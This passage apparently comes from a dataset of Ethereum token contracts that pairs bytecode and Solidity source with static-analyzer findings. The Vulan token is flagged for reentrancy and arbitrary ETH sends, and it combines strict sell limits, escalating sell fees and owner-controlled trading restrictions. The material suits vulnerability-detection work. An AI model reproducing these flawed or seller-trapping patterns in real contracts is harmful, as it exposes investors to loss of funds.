65b949350505050565b60006080820190506143c86000830187613ee3565b6143d56020830186613ee3565b6143e26040830185613ee3565b6143ef6060830184613ee3565b95945050505050565b600060808201905061440d6000830187613ee3565b61441a6020830186613ee3565b6144276040830185613ee3565b6144346060830184613ef2565b95945050505050565b60006020820190506144526000830184613ef2565b92915050565b6000819050602082019050919050565b6000819050919050565b6000819050602082019050919050565b600081519050919050565b600060029050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b6000602082019050919050565b6000602082019050919050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b60006145348261467c565b915061453f8361467c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156145745761457361476f565b5b828201905092915050565b600061458a8261467c565b91506145958361467c565b9250826145a5576145a461479e565b5b828204905092915050565b60006145bb8261467c565b91506145c68361467c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156145ff576145fe61476f565b5b828202905092915050565b60006146158261467c565b91506146208361467c565b9250828210156146335761463261476f565b5b828203905092915050565b60006146498261465c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061469e826146a5565b9050919050565b60006146b08261465c565b9050919050565b60006146c28261467c565b9050919050565b60005b838110156146e75780820151818401526020810190506146cc565b838111156146f6576000848401525b50505050565b60006147078261467c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561473a5761473961476f565b5b600182019050919050565b600061475082614686565b915060ff8214156147645761476361476f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b6147e78161463e565b81146147f257600080fd5b50565b6147fe81614650565b811461480957600080fd5b50565b6148158161467c565b811461482057600080fd5b50565b61482c81614686565b811461483757600080fd5b5056fea264697066735822122063084729297f662c37abb54c8a32d4cc273b180a0bddea897e1fda17280de08364736f6c63430008000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 7,708 |
0xee164dd5962290835cdd8e4322335f32e18d4c92
|
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract Vulan is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Vulan";
string private constant _symbol = "VULAN";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 3;
uint256 private _burnFee = 2;
uint256 private _teamFee = 5;
mapping(address => bool) private bots;
mapping(address => uint256) private buycooldown;
mapping(address => uint256) private sellcooldown;
mapping(address => uint256) private firstsell;
mapping(address => uint256) private sellnumber;
address payable private _teamAddress;
address payable private _marketingFunds;
address public constant _deadAddress = 0x000000000000000000000000000000000000dEaD;
address payable public _burnAddress = payable(_deadAddress);
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private inSwap = false;
uint256 private _maxBuyAmount = 10000000000 * 10**9;
uint256 private _maxSellAmount = 100000000 * 10**9;
event inSwapUpdated(bool inSwap);
event swapEnabledUpdated(bool swapEnabled);
event cooldownEnabledUpdated(bool cooldownEnabled);
event MaxBuyAmountUpdated(uint256 _maxBuyAmount);
event MaxSellAmountUpdated(uint256 _maxSellAmount);
event uniswapV2PairUpdated(address uniswapV2Pair);
event tradingOpenUpdated(bool tradingOpen);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_burnAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function UniswapPairAddress () public view returns (address) {
return uniswapV2Pair;
}
function UniswapRouter () public view returns (IUniswapV2Router02){
return uniswapV2Router;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
if(_isExcludedFromFee[recipient]){
_transfer(_msgSender(), recipient, amount);
return true;
}
else{
uint256 burnamount = amount.mul(_burnFee).div(100);
_transfer(_msgSender(), _burnAddress, burnamount);
uint256 newamount = amount.sub(burnamount);
_transfer(_msgSender(), recipient, newamount);
return true;
}
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function setUniswapPair (address payable _uniswapV2Pair) external onlyOwner() {
uniswapV2Pair = _uniswapV2Pair;
emit uniswapV2PairUpdated(_uniswapV2Pair);
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _burnFee ==0 && _teamFee == 0) return;
_taxFee = 0;
_burnFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 3;
_burnFee = 2;
_teamFee = 5;
}
function setFee(uint256 multiplier) private {
if (multiplier > 1) {
_taxFee = 6;
_burnFee = 4;
_teamFee = 10;
}
else {
restoreAllFee();
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
require(amount <= _maxBuyAmount);
require(buycooldown[to] < block.timestamp);
buycooldown[to] = block.timestamp + (30 seconds);
restoreAllFee();
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair) {
require(amount <= _maxSellAmount);
require(sellcooldown[from] < block.timestamp);
if(firstsell[from] + (1 days) < block.timestamp){
sellnumber[from] = 0;
}
if (sellnumber[from] == 0) {
sellnumber[from]++;
firstsell[from] = block.timestamp;
sellcooldown[from] = block.timestamp + (30 seconds);
}
else if (sellnumber[from] >= 1) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (30 seconds);
}
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
setFee(sellnumber[from]);
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _burnFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100 -burnFee);
uint256 tTeam = tAmount.mul(teamFee).div(100-burnFee);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxBuyPercent(uint256 maxBuyPercent) external onlyOwner() {
require(maxBuyPercent > 0, "Amount must be greater than 0");
_maxBuyAmount = _tTotal.mul(maxBuyPercent).div(10**2);
emit MaxBuyAmountUpdated(_maxBuyAmount);
}
function setMaxSellPercent(uint256 maxSellPercent) external onlyOwner() {
require(maxSellPercent > 0, "Amount must be greater than 0");
_maxSellAmount = _tTotal.mul(maxSellPercent).div(10**2);
emit MaxSellAmountUpdated(_maxSellAmount);
}
}
|
0x6080604052600436106101235760003560e01c80638a977cee116100a0578063c3c8cd8011610064578063c3c8cd801461034b578063c7639d8014610360578063c93eb8661461037e578063d5aed6bf14610394578063dd62ed3e146103b457600080fd5b80638a977cee1461029f5780638da5cb5b146102bf57806395d89b41146102dd578063a9059cbb1461030b578063bd3900c01461032b57600080fd5b806335c14228116100e757806335c142281461020157806359992dbc146102335780636fc3eaec1461025557806370a082311461026a578063715018a61461028a57600080fd5b806306fdde031461012f578063095ea7b31461016f57806318160ddd1461019f57806323b872dd146101c5578063313ce567146101e557600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b506040805180820190915260058152642b3ab630b760d91b60208201525b6040516101669190611779565b60405180910390f35b34801561017b57600080fd5b5061018f61018a366004611736565b6103fa565b6040519015158152602001610166565b3480156101ab57600080fd5b50683635c9adc5dea000005b604051908152602001610166565b3480156101d157600080fd5b5061018f6101e03660046116f6565b610411565b3480156101f157600080fd5b5060405160098152602001610166565b34801561020d57600080fd5b506014546001600160a01b03165b6040516001600160a01b039091168152602001610166565b34801561023f57600080fd5b5061025361024e366004611761565b61047a565b005b34801561026157600080fd5b50610253610557565b34801561027657600080fd5b506101b7610285366004611686565b610584565b34801561029657600080fd5b506102536105a6565b3480156102ab57600080fd5b506102536102ba366004611761565b61061a565b3480156102cb57600080fd5b506000546001600160a01b031661021b565b3480156102e957600080fd5b506040805180820190915260058152642b2aa620a760d91b6020820152610159565b34801561031757600080fd5b5061018f610326366004611736565b6106e1565b34801561033757600080fd5b5060125461021b906001600160a01b031681565b34801561035757600080fd5b5061025361076d565b34801561036c57600080fd5b506013546001600160a01b031661021b565b34801561038a57600080fd5b5061021b61dead81565b3480156103a057600080fd5b506102536103af366004611686565b6107a3565b3480156103c057600080fd5b506101b76103cf3660046116be565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600061040733848461081b565b5060015b92915050565b600061041e84848461093f565b610470843361046b85604051806060016040528060288152602001611926602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e9b565b61081b565b5060019392505050565b6000546001600160a01b031633146104ad5760405162461bcd60e51b81526004016104a4906117cc565b60405180910390fd5b600081116104fd5760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016104a4565b61051b6064610515683635c9adc5dea0000084610ed5565b90610f5b565b60168190556040519081527fa0dff8a4e8bcaa27b5a2b64bc312f8b338e362bd6cad89f5fe2ae6b8389fb38a906020015b60405180910390a150565b6010546001600160a01b0316336001600160a01b03161461057757600080fd5b4761058181610f9d565b50565b6001600160a01b03811660009081526002602052604081205461040b90611026565b6000546001600160a01b031633146105d05760405162461bcd60e51b81526004016104a4906117cc565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106445760405162461bcd60e51b81526004016104a4906117cc565b600081116106945760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016104a4565b6106ac6064610515683635c9adc5dea0000084610ed5565b60158190556040519081527fd0459d371e1defb856088ceda9d33bfed2a31a105e0bae2113cdc7dcc9e77e9d9060200161054c565b6001600160a01b03821660009081526005602052604081205460ff16156107155761070d33848461093f565b50600161040b565b6000610731606461051560095486610ed590919063ffffffff16565b9050610749336012546001600160a01b03168361093f565b600061075584836110a3565b905061076233868361093f565b60019250505061040b565b6010546001600160a01b0316336001600160a01b03161461078d57600080fd5b600061079830610584565b9050610581816110e5565b6000546001600160a01b031633146107cd5760405162461bcd60e51b81526004016104a4906117cc565b601480546001600160a01b0319166001600160a01b0383169081179091556040519081527f9247f40358a5a35ccb3dc904555aecb5f1c4041d8861cc4a4a66580647526e9d9060200161054c565b6001600160a01b03831661087d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104a4565b6001600160a01b0382166108de5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104a4565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109a35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104a4565b6001600160a01b038216610a055760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104a4565b60008111610a675760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104a4565b6000546001600160a01b03848116911614801590610a9357506000546001600160a01b03838116911614155b15610e3e576001600160a01b0383163014801590610aba57506001600160a01b0382163014155b8015610ad457506013546001600160a01b03848116911614155b8015610aee57506013546001600160a01b03838116911614155b15610b68576013546001600160a01b0316336001600160a01b03161480610b2857506014546001600160a01b0316336001600160a01b0316145b610b685760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b60448201526064016104a4565b6001600160a01b0383166000908152600b602052604090205460ff16158015610baa57506001600160a01b0382166000908152600b602052604090205460ff16155b610bb357600080fd5b6014546001600160a01b038481169116148015610bde57506013546001600160a01b03838116911614155b15610c4e57601554811115610bf257600080fd5b6001600160a01b0382166000908152600c60205260409020544211610c1657600080fd5b610c2142601e611871565b6001600160a01b0383166000908152600c6020526040902055610c4e600360085560026009556005600a55565b6000610c5930610584565b601454909150600160a01b900460ff16158015610c8457506014546001600160a01b03858116911614155b15610e3c57601654821115610c9857600080fd5b6001600160a01b0384166000908152600d60205260409020544211610cbc57600080fd5b6001600160a01b0384166000908152600e60205260409020544290610ce49062015180611871565b1015610d04576001600160a01b0384166000908152600f60205260408120555b6001600160a01b0384166000908152600f6020526040902054610d90576001600160a01b0384166000908152600f60205260408120805491610d45836118df565b90915550506001600160a01b0384166000908152600e602052604090204290819055610d7290601e611871565b6001600160a01b0385166000908152600d6020526040902055610dff565b6001600160a01b0384166000908152600f6020526040902054600111610dff576001600160a01b0384166000908152600f60205260408120805491610dd4836118df565b90915550610de5905042601e611871565b6001600160a01b0385166000908152600d60205260409020555b610e08816110e5565b478015610e1857610e1847610f9d565b6001600160a01b0385166000908152600f6020526040902054610e3a9061128a565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff1680610e8057506001600160a01b03831660009081526005602052604090205460ff165b15610e89575060005b610e95848484846112b8565b50505050565b60008184841115610ebf5760405162461bcd60e51b81526004016104a49190611779565b506000610ecc84866118c8565b95945050505050565b600082610ee45750600061040b565b6000610ef083856118a9565b905082610efd8583611889565b14610f545760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104a4565b9392505050565b6000610f5483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112e9565b6010546001600160a01b03166108fc610fb7836002610f5b565b6040518115909202916000818181858888f19350505050158015610fdf573d6000803e3d6000fd5b506011546001600160a01b03166108fc610ffa836002610f5b565b6040518115909202916000818181858888f19350505050158015611022573d6000803e3d6000fd5b5050565b600060065482111561108d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104a4565b6000611097611317565b9050610f548382610f5b565b6000610f5483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e9b565b6014805460ff60a01b1916600160a01b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061113b57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561118f57600080fd5b505afa1580156111a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111c791906116a2565b816001815181106111e857634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260135461120e913091168461081b565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790611247908590600090869030904290600401611801565b600060405180830381600087803b15801561126157600080fd5b505af1158015611275573d6000803e3d6000fd5b50506014805460ff60a01b1916905550505050565b60018111156112a45760066008556004600955600a805550565b610581600360085560026009556005600a55565b806112c5576112c561133a565b6112d084848461136e565b80610e9557610e95600360085560026009556005600a55565b6000818361130a5760405162461bcd60e51b81526004016104a49190611779565b506000610ecc8486611889565b6000806000611324611465565b90925090506113338282610f5b565b9250505090565b60085415801561134a5750600954155b80156113565750600a54155b1561135d57565b600060088190556009819055600a55565b600080600080600080611380876114a7565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113b290876110a3565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546113e19086611507565b6001600160a01b03891660009081526002602052604090205561140381611566565b61140d84836115b0565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161145291815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea000006114818282610f5b565b82101561149e57505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006114c78a600854600954600a546115d4565b92509250925060006114d7611317565b905060008060006114ea8e878787611636565b919e509c509a509598509396509194505050505091939550919395565b6000806115148385611871565b905083811015610f545760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104a4565b6000611570611317565b9050600061157e8383610ed5565b3060009081526002602052604090205490915061159b9082611507565b30600090815260026020526040902055505050565b6006546115bd90836110a3565b6006556007546115cd9082611507565b6007555050565b60008080806115f16115e78760646118c8565b6105158a8a610ed5565b9050600061160d6116038860646118c8565b6105158b89610ed5565b905060006116258261161f8c866110a3565b906110a3565b9a9299509097509095505050505050565b60008080806116458886610ed5565b905060006116538887610ed5565b905060006116618888610ed5565b905060006116738261161f86866110a3565b939b939a50919850919650505050505050565b600060208284031215611697578081fd5b8135610f5481611910565b6000602082840312156116b3578081fd5b8151610f5481611910565b600080604083850312156116d0578081fd5b82356116db81611910565b915060208301356116eb81611910565b809150509250929050565b60008060006060848603121561170a578081fd5b833561171581611910565b9250602084013561172581611910565b929592945050506040919091013590565b60008060408385031215611748578182fd5b823561175381611910565b946020939093013593505050565b600060208284031215611772578081fd5b5035919050565b6000602080835283518082850152825b818110156117a557858101830151858201604001528201611789565b818111156117b65783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156118505784516001600160a01b03168352938301939183019160010161182b565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611884576118846118fa565b500190565b6000826118a457634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156118c3576118c36118fa565b500290565b6000828210156118da576118da6118fa565b500390565b60006000198214156118f3576118f36118fa565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461058157600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204f3276925f9939620adc4d6603cc1d786c4c2a681dafa40bf857ce30d2308a7d64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,709 |
0x12b6293f024f0c4952809404cf8078d581d196e7
|
/**
*Submitted for verification at Etherscan.io on 2022-04-04
*/
// SPDX-License-Identifier: Unlicensed
//https://t.me/ryoshiswap
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract RYOSHISWAP is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Ryoshi Swap";
string private constant _symbol = "RYOSHISWAP";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e10 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) private _isSniper;
uint256 public launchTime;
uint256 private _redisFeeJeets = 2;
uint256 private _taxFeeJeets = 9;
uint256 private _redisFeeOnBuy = 2;
uint256 private _taxFeeOnBuy = 9;
uint256 private _redisFeeOnSell = 2;
uint256 private _taxFeeOnSell = 9;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _burnFee = 0;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
uint256 private _previousburnFee = _burnFee;
address payable private _marketingAddress = payable(0xbE6be10697F85da557bAb10AD08e5F2aAbC4aD43);
address public constant deadAddress = 0x000000000000000000000000000000000000dEaD;
uint256 public timeJeets = 2 minutes;
